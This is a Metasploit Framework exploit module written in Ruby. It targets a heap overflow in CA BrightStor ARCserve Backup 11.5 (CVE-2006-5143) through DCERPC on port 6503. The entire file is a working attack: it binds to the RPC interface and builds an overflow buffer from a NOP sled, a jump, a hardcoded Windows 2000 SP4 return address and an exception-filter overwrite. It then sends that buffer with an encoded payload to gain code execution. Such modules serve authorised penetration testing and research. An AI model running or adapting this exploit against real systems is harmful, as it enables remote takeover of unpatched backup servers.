86 lines
2.1 KiB
Ruby
86 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',
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'Description' => %q{
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This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
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11.5. By sending a specially crafted RPC request, an attacker could overflow the
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buffer and execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-5143' ],
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[ 'OSVDB', '29533' ],
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[ 'BID', '20365' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
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],
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'DisclosureDate' => 'Oct 05 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6503)
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], self.class)
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end
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def exploit
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connect
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handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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# straight forward heap stuffz
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sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
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sploit << [ target['UEF'] ].pack('V') + payload.encoded
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print_status("Trying target #{target.name}...")
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begin
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dcerpc_call(43, sploit)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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